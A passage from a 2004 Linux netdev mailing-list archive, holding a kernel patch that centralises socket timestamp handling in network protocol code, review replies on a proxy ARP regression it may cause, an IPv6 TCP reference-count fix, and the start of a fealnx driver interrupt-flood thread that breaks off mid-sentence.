@@ switch (cmd) { case SIOCGSTAMP: - if (!sk->sk_stamp.tv_sec) - err = -ENOENT; - else if (copy_to_user((void *)arg, &sk->sk_stamp, - sizeof(struct timeval))) - err = -EFAULT; + err = sock_get_timestamp(sk, (struct timeval *)arg); break; case SIOCADDRT: case SIOCDELRT: diff -u linux-2.6.5rc3-averell/net/ipv4/arp.c-T linux-2.6.5rc3-averell/net/ipv4/arp.c --- linux-2.6.5rc3-averell/net/ipv4/arp.c-T 1970-01-01 01:12:51.000000000 +0100 +++ linux-2.6.5rc3-averell/net/ipv4/arp.c 2004-03-31 09:44:02.000000000 +0200 @@ -860,7 +860,17 @@ if (n) neigh_release(n); - if (skb->stamp.tv_sec == 0 || + /* Previous code here tested + skb->stamp.tv_sec != 0. I can only guess + what the author intended with this - + maybe check for packets that have originated + locally. Most likely it was a bug because + there are all kinds of situations where + even a local packet can have a stamp. + It is replaced with an ->sk check + now, which also won't trigger for + received packets. -AK */ + if (skb->sk != NULL || skb->pkt_type == PACKET_HOST || in_dev->arp_parms->proxy_delay == 0) { arp_send(ARPOP_REPLY,ETH_P_ARP,sip,dev,tip,sha,dev->dev_addr,sha); diff -u linux-2.6.5rc3-averell/net/sunrpc/svcsock.c-T linux-2.6.5rc3-averell/net/sunrpc/svcsock.c --- linux-2.6.5rc3-averell/net/sunrpc/svcsock.c-T 2004-03-21 21:12:00.000000000 +0100 +++ linux-2.6.5rc3-averell/net/sunrpc/svcsock.c 2004-03-31 09:44:02.000000000 +0200 @@ -591,6 +591,12 @@ /* possibly an icmp error */ dprintk("svc: recvfrom returned error %d\n", -err); } + if (skb->stamp.tv_sec == 0) { + skb->stamp.tv_sec = xtime.tv_sec; + skb->stamp.tv_usec = xtime.tv_nsec * 1000; + /* Don't enable netstamp, sunrpc doesn't + need that much accuracy */ + } svsk->sk_sk->sk_stamp = skb->stamp; set_bit(SK_DATA, &svsk->sk_flags); /* there may be more data... */ diff -u linux-2.6.5rc3-averell/net/rose/af_rose.c-T linux-2.6.5rc3-averell/net/rose/af_rose.c --- linux-2.6.5rc3-averell/net/rose/af_rose.c-T 2004-03-21 21:12:00.000000000 +0100 +++ linux-2.6.5rc3-averell/net/rose/af_rose.c 2004-03-31 09:44:02.000000000 +0200 @@ -1269,12 +1269,8 @@ } case SIOCGSTAMP: - if (sk != NULL) { - if (!sk->sk_stamp.tv_sec) - return -ENOENT; - return copy_to_user((void *)arg, &sk->sk_stamp, - sizeof(struct timeval)) ? -EFAULT : 0; - } + if (sk != NULL) + return sock_get_timestamp(sk, (struct timeval *)arg); return -EINVAL; case SIOCGIFADDR: diff -u linux-2.6.5rc3-averell/net/irda/af_irda.c-T linux-2.6.5rc3-averell/net/irda/af_irda.c --- linux-2.6.5rc3-averell/net/irda/af_irda.c-T 2004-03-21 21:12:00.000000000 +0100 +++ linux-2.6.5rc3-averell/net/irda/af_irda.c 2004-03-31 09:44:02.000000000 +0200 @@ -1796,14 +1796,8 @@ } case SIOCGSTAMP: - if (sk != NULL) { - if (!sk->sk_stamp.tv_sec) - return -ENOENT; - if (copy_to_user((void *)arg, &sk->sk_stamp, - sizeof(struct timeval))) - return -EFAULT; - return 0; - } + if (sk != NULL) + return sock_get_timestamp(sk, (struct timeval *)arg); return -EINVAL; case SIOCGIFADDR: diff -u linux-2.6.5rc3-averell/net/ipx/af_ipx.c-T linux-2.6.5rc3-averell/net/ipx/af_ipx.c --- linux-2.6.5rc3-averell/net/ipx/af_ipx.c-T 2004-03-21 21:12:00.000000000 +0100 +++ linux-2.6.5rc3-averell/net/ipx/af_ipx.c 2004-03-31 09:44:02.000000000 +0200 @@ -1797,7 +1797,8 @@ copied); if (rc) goto out_free; - sk->sk_stamp = skb->stamp; + if (skb->stamp.tv_sec) + sk->sk_stamp = skb->stamp; msg->msg_namelen = sizeof(*sipx); @@ -1870,15 +1871,8 @@ break; case SIOCGSTAMP: rc = -EINVAL; - if (sk) { - rc = -ENOENT; - if (!sk->sk_stamp.tv_sec) - break; - rc = -EFAULT; - if (!copy_to_user((void *)arg, &sk->sk_stamp, - sizeof(struct timeval))) - rc = 0; - } + if (sk) + rc = sock_get_timestamp(sk, (struct timeval *)arg); break; case SIOCGIFDSTADDR: case SIOCSIFDSTADDR: diff -u linux-2.6.5rc3-averell/net/atm/ioctl.c-T linux-2.6.5rc3-averell/net/atm/ioctl.c --- linux-2.6.5rc3-averell/net/atm/ioctl.c-T 2004-03-21 21:12:00.000000000 +0100 +++ linux-2.6.5rc3-averell/net/atm/ioctl.c 2004-03-31 09:44:02.000000000 +0200 @@ -76,12 +76,8 @@ goto done; } case SIOCGSTAMP: /* borrowed from IP */ - if (!vcc->sk->sk_stamp.tv_sec) { - error = -ENOENT; - goto done; - } - error = copy_to_user((void *)arg, &vcc->sk->sk_stamp, - sizeof(struct timeval)) ? -EFAULT : 0; + error = sock_get_timestamp(vcc->sk, (struct timeval *) + arg); goto done; case ATM_SETSC: printk(KERN_WARNING "ATM_SETSC is obsolete\n"); diff -u linux-2.6.5rc3-averell/net/ax25/af_ax25.c-T linux-2.6.5rc3-averell/net/ax25/af_ax25.c --- linux-2.6.5rc3-averell/net/ax25/af_ax25.c-T 2004-03-21 21:12:00.000000000 +0100 +++ linux-2.6.5rc3-averell/net/ax25/af_ax25.c 2004-03-31 09:44:02.000000000 +0200 @@ -1694,12 +1694,7 @@ case SIOCGSTAMP: if (sk != NULL) { - if (!sk->sk_stamp.tv_sec) { - res = -ENOENT; - break; - } - res = copy_to_user((void *)arg, &sk->sk_stamp, - sizeof(struct timeval)) ? -EFAULT : 0; + res = sock_get_timestamp(sk, (struct timeval *)arg); break; } res = -EINVAL; diff -u linux-2.6.5rc3-averell/net/ipv6/af_inet6.c-T linux-2.6.5rc3-averell/net/ipv6/af_inet6.c --- linux-2.6.5rc3-averell/net/ipv6/af_inet6.c-T 1970-01-01 01:12:51.000000000 +0100 +++ linux-2.6.5rc3-averell/net/ipv6/af_inet6.c 2004-03-31 09:44:02.000000000 +0200 @@ -474,13 +474,7 @@ switch(cmd) { case SIOCGSTAMP: - if (!sk->sk_stamp.tv_sec) - return -ENOENT; - err = copy_to_user((void *)arg, &sk->sk_stamp, - sizeof(struct timeval)); - if (err) - return -EFAULT; - return 0; + return sock_get_timestamp(sk, (struct timeval *)arg); case SIOCADDRT: case SIOCDELRT: diff -u linux-2.6.5rc3-averell/net/ipv6/ndisc.c-T linux-2.6.5rc3-averell/net/ipv6/ndisc.c --- linux-2.6.5rc3-averell/net/ipv6/ndisc.c-T 1970-01-01 01:12:51.000000000 +0100 +++ linux-2.6.5rc3-averell/net/ipv6/ndisc.c 2004-03-31 09:44:02.000000000 +0200 @@ -761,7 +761,8 @@ if (ipv6_chk_acast_addr(dev, &msg->target) || (idev->cnf.forwarding && pneigh_lookup(&nd_tbl, &msg->target, dev, 0))) { - if (skb->stamp.tv_sec != 0 && + /* See comment in arp.c about the weird sk check */ + if (skb->sk == NULL && skb->pkt_type != PACKET_HOST && inc != 0 && idev->nd_parms->proxy_delay != 0) { diff -u linux-2.6.5rc3-averell/net/rxrpc/transport.c-T linux-2.6.5rc3-averell/net/rxrpc/transport.c --- linux-2.6.5rc3-averell/net/rxrpc/transport.c-T 2004-03-21 21:12:00.000000000 +0100 +++ linux-2.6.5rc3-averell/net/rxrpc/transport.c 2004-03-31 09:44:02.000000000 +0200 @@ -341,6 +341,11 @@ msg->trans = trans; msg->state = RXRPC_MSG_RECEIVED; msg->stamp = pkt->stamp; + if (msg->stamp.tv_sec == 0) { + do_gettimeofday(&msg->stamp); + if (skb->sk) + sock_enable_netstamp(skb->sk); + } msg->seq = ntohl(msg->hdr.seq); /* attach the packet */ diff -u linux-2.6.5rc3-averell/net/sctp/input.c-T linux-2.6.5rc3-averell/net/sctp/input.c --- linux-2.6.5rc3-averell/net/sctp/input.c-T 2004-03-21 21:12:00.000000000 +0100 +++ linux-2.6.5rc3-averell/net/sctp/input.c 2004-03-31 09:44:02.000000000 +0200 @@ -175,6 +175,12 @@ rcvr = asoc ? &asoc->base : &ep->base; sk = rcvr->sk; + /* SCTP seems to always need a timestamp right now (FIXME) */ + if (skb->stamp.tv_sec == 0) { + do_gettimeofday(&skb->stamp); + sock_enable_timestamp(sk); + } + if (!xfrm_policy_check(sk, XFRM_POLICY_IN, skb, family)) goto discard_release; diff -u linux-2.6.5rc3-averell/net/x25/af_x25.c-T linux-2.6.5rc3-averell/net/x25/af_x25.c --- linux-2.6.5rc3-averell/net/x25/af_x25.c-T 2004-03-21 21:12:00.000000000 +0100 +++ linux-2.6.5rc3-averell/net/x25/af_x25.c 2004-03-31 09:44:02.000000000 +0200 @@ -1206,14 +1206,10 @@ } case SIOCGSTAMP: - if (sk) { - rc = -ENOENT; - if (!sk->sk_stamp.tv_sec) - break; - rc = copy_to_user((void *)arg, &sk->sk_stamp, - sizeof(struct timeval)) ? -EFAULT : 0; - } rc = -EINVAL; + if (sk) + rc = sock_get_timestamp(sk, + (struct timeval *)arg); break; case SIOCGIFADDR: case SIOCSIFADDR: diff -u linux-2.6.5rc3-averell/net/wanrouter/af_wanpipe.c-T linux-2.6.5rc3-averell/net/wanrouter/af_wanpipe.c --- linux-2.6.5rc3-averell/net/wanrouter/af_wanpipe.c-T 2004-03-21 21:12:00.000000000 +0100 +++ linux-2.6.5rc3-averell/net/wanrouter/af_wanpipe.c 2004-03-31 09:44:02.000000000 +0200 @@ -1765,13 +1765,7 @@ switch(cmd) { case SIOCGSTAMP: - if (!sk->sk_stamp.tv_sec) - return -ENOENT; - err = -EFAULT; - if (!copy_to_user((void *)arg, &sk->sk_stamp, - sizeof(struct timeval))) - err = 0; - return err; + return sock_get_timestamp(sk, (struct timeval *)arg); case SIOC_WANPIPE_CHECK_TX: diff -u linux-2.6.5rc3-averell/net/packet/af_packet.c-T linux-2.6.5rc3-averell/net/packet/af_packet.c --- linux-2.6.5rc3-averell/net/packet/af_packet.c-T 2004-03-21 21:12:00.000000000 +0100 +++ linux-2.6.5rc3-averell/net/packet/af_packet.c 2004-03-31 09:44:02.000000000 +0200 @@ -606,6 +606,10 @@ h->tp_snaplen = snaplen; h->tp_mac = macoff; h->tp_net = netoff; + if (skb->stamp.tv_sec == 0) { + do_gettimeofday(&skb->stamp); + sock_enable_timestamp(sk); + } h->tp_sec = skb->stamp.tv_sec; h->tp_usec = skb->stamp.tv_usec; @@ -1442,13 +1446,8 @@ return put_user(amount, (int *)arg); } case SIOCGSTAMP: - if (!sk->sk_stamp.tv_sec) - return -ENOENT; - if (copy_to_user((void *)arg, &sk->sk_stamp, - sizeof(struct timeval))) - return -EFAULT; - break; - + return sock_get_timestamp(sk, (struct timeval *)arg); + #ifdef CONFIG_INET case SIOCADDRT: case SIOCDELRT: diff -u linux-2.6.5rc3-averell/net/netrom/af_netrom.c-T linux-2.6.5rc3-averell/net/netrom/af_netrom.c --- linux-2.6.5rc3-averell/net/netrom/af_netrom.c-T 2004-03-21 21:12:00.000000000 +0100 +++ linux-2.6.5rc3-averell/net/netrom/af_netrom.c 2004-03-31 09:44:02.000000000 +0200 @@ -1200,17 +1200,11 @@ } case SIOCGSTAMP: - if (sk != NULL) { - if (!sk->sk_stamp.tv_sec) { - release_sock(sk); - return -ENOENT; - } - ret = copy_to_user((void *)arg, &sk->sk_stamp, sizeof(struct timeval)) ? -EFAULT : 0; - release_sock(sk); - return ret; - } + ret = -EINVAL; + if (sk != NULL) + ret = sock_get_timestamp(sk, (struct timeval *)arg); release_sock(sk); - return -EINVAL; + return ret; case SIOCGIFADDR: case SIOCSIFADDR: diff -u linux-2.6.5rc3-averell/net/appletalk/ddp.c-T linux-2.6.5rc3-averell/net/appletalk/ddp.c --- linux-2.6.5rc3-averell/net/appletalk/ddp.c-T 1970-01-01 01:12:51.000000000 +0100 +++ linux-2.6.5rc3-averell/net/appletalk/ddp.c 2004-03-31 09:44:02.000000000 +0200 @@ -1795,13 +1795,7 @@ break; } case SIOCGSTAMP: - if (!sk) - break; - rc = -ENOENT; - if (!sk->sk_stamp.tv_sec) - break; - rc = copy_to_user((void *)arg, &sk->sk_stamp, - sizeof(struct timeval)) ? -EFAULT : 0; + rc = sock_get_timestamp(sk, (struct timeval *)arg); break; /* Routing */ case SIOCADDRT: diff -u linux-2.6.5rc3-averell/net/econet/af_econet.c-T linux-2.6.5rc3-averell/net/econet/af_econet.c --- linux-2.6.5rc3-averell/net/econet/af_econet.c-T 2004-03-21 21:12:01.000000000 +0100 +++ linux-2.6.5rc3-averell/net/econet/af_econet.c 2004-03-31 09:44:02.000000000 +0200 @@ -665,10 +665,8 @@ switch(cmd) { case SIOCGSTAMP: - if (!sk->sk_stamp.tv_sec) - return -ENOENT; - return copy_to_user((void *)arg, &sk->sk_stamp, - sizeof(struct timeval)) ? -EFAULT : 0; + return sock_get_timestamp(sk,(struct timeval *)arg); + case SIOCSIFADDR: case SIOCGIFADDR: return ec_dev_ioctl(sock, cmd, (void *)arg); From P@draigBrady.com Wed Mar 31 04:22:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 04:22:38 -0800 (PST) Received: from corvil.com (gate.corvil.net [213.94.219.177]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VCMMKO028081 for ; Wed, 31 Mar 2004 04:22:25 -0800 Received: from draigBrady.com (pixelbeat.local.corvil.com [172.18.1.170]) by corvil.com (8.12.9/8.12.5) with ESMTP id i2VCMEhr041213; Wed, 31 Mar 2004 13:22:14 +0100 (IST) (envelope-from P@draigBrady.com) Message-ID: <406AB7F6.6010805@draigBrady.com> Date: Wed, 31 Mar 2004 13:22:14 +0100 From: P@draigBrady.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040124 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Andi Kleen CC: netdev@oss.sgi.com Subject: Re: [PATCH] Avoid gettimeofday when not needed References: <200403311201.i2VC13D19579@zero.aec.at> In-Reply-To: <200403311201.i2VC13D19579@zero.aec.at> Content-Type: text/plain; charset=ISO-8859-1; format=flowed X-MIME-Autoconverted: from 8bit to quoted-printable by corvil.com id i2VCMEhr041213 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i2VCMMKO028081 X-archive-position: 4376 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: P@draigBrady.com Precedence: bulk X-list: netdev Content-Length: 423 Lines: 12 Andi Kleen wrote: > This patch implements an optimization I proposed a long time > ago. gettimeofday can be quite costly and it currently is > on the fast path of every packet. Normally the packet time stamp > is not needed (e.g. TCP doesn't use it), except for tcpdump > and a few applications. Will this work for apps that don't use a seperate syscall to get the timestamp. Like CONFIG_PACKET_MMAP for e.g? Pádraig. From vnuorval@tcs.hut.fi Wed Mar 31 05:45:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 05:45:44 -0800 (PST) Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VDjXKO031032 for ; Wed, 31 Mar 2004 05:45:34 -0800 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id CB9878001CE; Wed, 31 Mar 2004 16:45:32 +0300 (EEST) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i2VDjW0w032367; Wed, 31 Mar 2004 16:45:32 +0300 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i2VDjVmU032363; Wed, 31 Mar 2004 16:45:31 +0300 Date: Wed, 31 Mar 2004 16:45:31 +0300 (EEST) From: Ville Nuorvala To: Andi Kleen Cc: netdev@oss.sgi.com Subject: Re: [PATCH] Avoid gettimeofday when not needed In-Reply-To: <200403311201.i2VC13D19579@zero.aec.at> Message-ID: References: <200403311201.i2VC13D19579@zero.aec.at> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 4377 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev Content-Length: 1357 Lines: 36 Hi Andi, On Wed, 31 Mar 2004, Andi Kleen wrote: > Most of the patch is quite straight forward, except for the change in the > v4/v6 proxy arp code. I assume it was checking the time stamp to distingush > locally originated packets from external packets (?). I changed it > to use skb->sk instead. I'm not 100% sure if I guessed the intention > correctly and don't know why it should check that anyways. > Someone should review that change. I suspect this breaks proxy arp/ndisc! The arp/ndisc requests are queued up for a random time before being processed by the proxy. Check out pneigh_enqueue() in net/core/neighbour.c for details. The skb->stamp.tv_sec check was used to separate the locally re-fed requests from ones received from the net. AFAICS, skb->sk isn't set for the enqueued packets, so checking the field doesn't make sense. One thing that instead *might* work, would be to set skb->pkt_type = PACKET_HOST in pneigh_enqueue(). Of course skb->pkt_type = PACKET_HOST is set in other places as well, so some falsely marked packets might bypass the required random delay. I don't think this is a big concern, but I thought it was best to bring it up... > -Andi Regards, Ville -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 From ak@muc.de Wed Mar 31 05:53:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 05:53:36 -0800 (PST) Received: from colin2.muc.de (qmailr@colin2.muc.de [193.149.48.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VDrQKO031506 for ; Wed, 31 Mar 2004 05:53:26 -0800 Received: (qmail 63132 invoked by uid 3709); 31 Mar 2004 13:53:25 -0000 Date: 31 Mar 2004 15:53:25 +0200 Date: Wed, 31 Mar 2004 15:53:25 +0200 From: Andi Kleen To: P@draigBrady.com Cc: Andi Kleen , netdev@oss.sgi.com Subject: Re: [PATCH] Avoid gettimeofday when not needed Message-ID: <20040331135325.GA62402@colin2.muc.de> References: <200403311201.i2VC13D19579@zero.aec.at> <406AB7F6.6010805@draigBrady.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <406AB7F6.6010805@draigBrady.com> User-Agent: Mutt/1.4.1i X-archive-position: 4378 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@muc.de Precedence: bulk X-list: netdev Content-Length: 564 Lines: 14 On Wed, Mar 31, 2004 at 01:22:14PM +0100, P@draigBrady.com wrote: > Andi Kleen wrote: > >This patch implements an optimization I proposed a long time > >ago. gettimeofday can be quite costly and it currently is > >on the fast path of every packet. Normally the packet time stamp > >is not needed (e.g. TCP doesn't use it), except for tcpdump > >and a few applications. > > Will this work for apps that don't use a seperate syscall > to get the timestamp. Like CONFIG_PACKET_MMAP for e.g? The mmap will enable the time stamp, until the socket is closed. -Andi From ak@muc.de Wed Mar 31 05:54:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 05:54:53 -0800 (PST) Received: from colin2.muc.de (qmailr@colin2.muc.de [193.149.48.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VDsnKO031835 for ; Wed, 31 Mar 2004 05:54:50 -0800 Received: (qmail 63961 invoked by uid 3709); 31 Mar 2004 13:54:49 -0000 Date: 31 Mar 2004 15:54:49 +0200 Date: Wed, 31 Mar 2004 15:54:49 +0200 From: Andi Kleen To: Ville Nuorvala Cc: Andi Kleen , netdev@oss.sgi.com Subject: Re: [PATCH] Avoid gettimeofday when not needed Message-ID: <20040331135449.GB62402@colin2.muc.de> References: <200403311201.i2VC13D19579@zero.aec.at> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-archive-position: 4379 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@muc.de Precedence: bulk X-list: netdev Content-Length: 494 Lines: 13 > I suspect this breaks proxy arp/ndisc! > > The arp/ndisc requests are queued up for a random time before being > processed by the proxy. Check out pneigh_enqueue() in net/core/neighbour.c > for details. The skb->stamp.tv_sec check was used to separate the locally > re-fed requests from ones received from the net. Ok, thanks for clarifying this. I guessed the intention wrong then. A better way may be to just add a new skb flag for this that is managed by the arp code? Comments? -Andi From vnuorval@tcs.hut.fi Wed Mar 31 07:02:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 07:02:48 -0800 (PST) Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VF2YKO001883 for ; Wed, 31 Mar 2004 07:02:34 -0800 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id 2AFFE8001C4; Wed, 31 Mar 2004 17:24:48 +0300 (EEST) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i2VEOl0w032482; Wed, 31 Mar 2004 17:24:47 +0300 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i2VEOlqq032478; Wed, 31 Mar 2004 17:24:47 +0300 Date: Wed, 31 Mar 2004 17:24:47 +0300 (EEST) From: Ville Nuorvala To: Andi Kleen Cc: netdev@oss.sgi.com Subject: Re: [PATCH] Avoid gettimeofday when not needed In-Reply-To: <20040331135449.GB62402@colin2.muc.de> Message-ID: References: <200403311201.i2VC13D19579@zero.aec.at> <20040331135449.GB62402@colin2.muc.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 4380 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev Content-Length: 656 Lines: 24 On Wed, 31 Mar 2004, Andi Kleen wrote: > Ok, thanks for clarifying this. I guessed the intention wrong then. > > A better way may be to just add a new skb flag for this that is managed > by the arp code? Comments? I guess that's all right. There just doesn't seem to be any general flag field in sk_buff that we might use at this moment. Should one be added, or should we just hide the flag inside the cb field using the likes of inet_skb_parm and inet6_skb_parm? > -Andi Regards, Ville -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 From ak@muc.de Wed Mar 31 07:10:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 07:10:53 -0800 (PST) Received: from colin2.muc.de (qmailr@colin2.muc.de [193.149.48.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VFAmKO002422 for ; Wed, 31 Mar 2004 07:10:48 -0800 Received: (qmail 6791 invoked by uid 3709); 31 Mar 2004 15:10:47 -0000 Date: 31 Mar 2004 17:10:47 +0200 Date: Wed, 31 Mar 2004 17:10:47 +0200 From: Andi Kleen To: Ville Nuorvala Cc: Andi Kleen , netdev@oss.sgi.com Subject: Re: [PATCH] Avoid gettimeofday when not needed Message-ID: <20040331151047.GA6033@colin2.muc.de> References: <200403311201.i2VC13D19579@zero.aec.at> <20040331135449.GB62402@colin2.muc.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-archive-position: 4381 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@muc.de Precedence: bulk X-list: netdev Content-Length: 374 Lines: 10 On Wed, Mar 31, 2004 at 05:24:47PM +0300, Ville Nuorvala wrote: > There just doesn't seem to be any general flag field in sk_buff that we > might use at this moment. Should one be added, or should we just hide the > flag inside the cb field using the likes of inet_skb_parm and > inet6_skb_parm? There are no free bits indeed. I think ->cb is the best choice then. -Andi From niv@us.ibm.com Wed Mar 31 07:35:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 07:35:51 -0800 (PST) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VFZgKO003830 for ; Wed, 31 Mar 2004 07:35:49 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2VFZa5r130860; Wed, 31 Mar 2004 10:35:36 -0500 Received: from us.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2VFZZjU097800; Wed, 31 Mar 2004 08:35:36 -0700 Message-ID: <406AE4AC.6020309@us.ibm.com> Date: Wed, 31 Mar 2004 07:33:00 -0800 From: Nivedita Singhvi User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en MIME-Version: 1.0 To: davem@redhat.com CC: netdev Subject: [PATCH 2.6] reference count cleanup continued -IPv6 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4382 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1123 Lines: 41 Continuing the reference count clean up, this time in tcp_v6_rcv(). We should not be doing a sock_put() on a socket in TIMEWAIT state. Applies to 2.6.4. Should apply to current bits as well. thanks, Nivedita diff -urN linux-2.6.4/net/ipv6/tcp_ipv6.c linux-2.6.4mc6/net/ipv6/tcp_ipv6.c --- linux-2.6.4/net/ipv6/tcp_ipv6.c 2004-03-10 18:55:28.000000000 -0800 +++ linux-2.6.4mc6/net/ipv6/tcp_ipv6.c 2004-03-30 10:34:25.000000000 -0800 @@ -1639,7 +1639,7 @@ no_tcp_socket: if (!xfrm6_policy_check(NULL, XFRM_POLICY_IN, skb)) - goto discard_and_relse; + goto discard_it; if (skb->len < (th->doff<<2) || tcp_checksum_complete(skb)) { bad_packet: @@ -1662,12 +1662,14 @@ goto discard_it; do_time_wait: - if (!xfrm6_policy_check(NULL, XFRM_POLICY_IN, skb)) - goto discard_and_relse; + if (!xfrm6_policy_check(NULL, XFRM_POLICY_IN, skb)) { + tcp_tw_put((struct tcp_tw_bucket *) sk); + goto discard_it; + } if (skb->len < (th->doff<<2) || tcp_checksum_complete(skb)) { TCP_INC_STATS_BH(TcpInErrs); - sock_put(sk); + tcp_tw_put((struct tcp_tw_bucket *) sk); goto discard_it; } From vda@port.imtp.ilyichevsk.odessa.ua Wed Mar 31 08:39:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 08:39:59 -0800 (PST) Received: from port.imtp.ilyichevsk.odessa.ua (168.imtp.Ilyichevsk.Odessa.UA [195.66.192.168] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VGdiKO009977 for ; Wed, 31 Mar 2004 08:39:47 -0800 Received: (qmail 2860 invoked by alias); 31 Mar 2004 16:39:40 -0000 Received: from unknown (1.0.3.9) by 0 (195.66.192.168) with ESMTP; 31 Mar 2004 16:39:40 -0000 From: Denis Vlasenko To: Jeff Garzik Subject: Re: fealnx oopses (with [PATCH]) Date: Wed, 31 Mar 2004 18:39:33 +0200 User-Agent: KMail/1.5.4 Cc: Francois Romieu , Andreas Henriksson , netdev@oss.sgi.com, Denis Vlasenko References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <4068AC87.2030506@pobox.com> <200403300118.55631.vda@port.imtp.ilyichevsk.odessa.ua> In-Reply-To: <200403300118.55631.vda@port.imtp.ilyichevsk.odessa.ua> MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_FRvaAKWhzHJYNhZ" Message-Id: <200403311839.33202.vda@port.imtp.ilyichevsk.odessa.ua> X-archive-position: 4383 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vda@port.imtp.ilyichevsk.odessa.ua Precedence: bulk X-list: netdev Content-Length: 17308 Lines: 576 --Boundary-00=_FRvaAKWhzHJYNhZ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline > > > Oopses are gone but it looks like box is so much interrupt > > > flooded that userspace has no chance of processing ctrl-C. > > > What can we do? I think driver can do something useful > > > whet it detects 'too much work in interrupt'. Disabling rx > > > for several ms seems like 'quick and dirty' way. > > > > > > Francois what do you think? Can you code something up > > > for me to test? > > > > Andreas had a francois+jgarzik patch, I thought...? > > > > Looking good... > > Yes, I did all these tests with this patch. Ok, here is what I have now. What we had before: original behaviour: Andreas had tx tomeouts, I had fatal oops. francois+jgarzik patch: Andreas happy, I had lockup (endless 'Too much work') Now, with the attached patch, I *don't* lock up. I can ctrl-C netcat, UDP flood stops and card is alive, tested with pinging. I modified 'Too much work in interrupt' code. I added code which completely stops rx and tx and schedules card reset a-la reset previously used in tx_timeout code path. There is 1 second delay. In testing, I saw this code triggering a number of times. It works as intended. I also have seen tx timeout events. (I touched that code a bit, factoring out reset code, but without changing logic). They did not hang the box, either, but box was unable to do any tx. tx timeouts just happened again and again. Remote side decided that 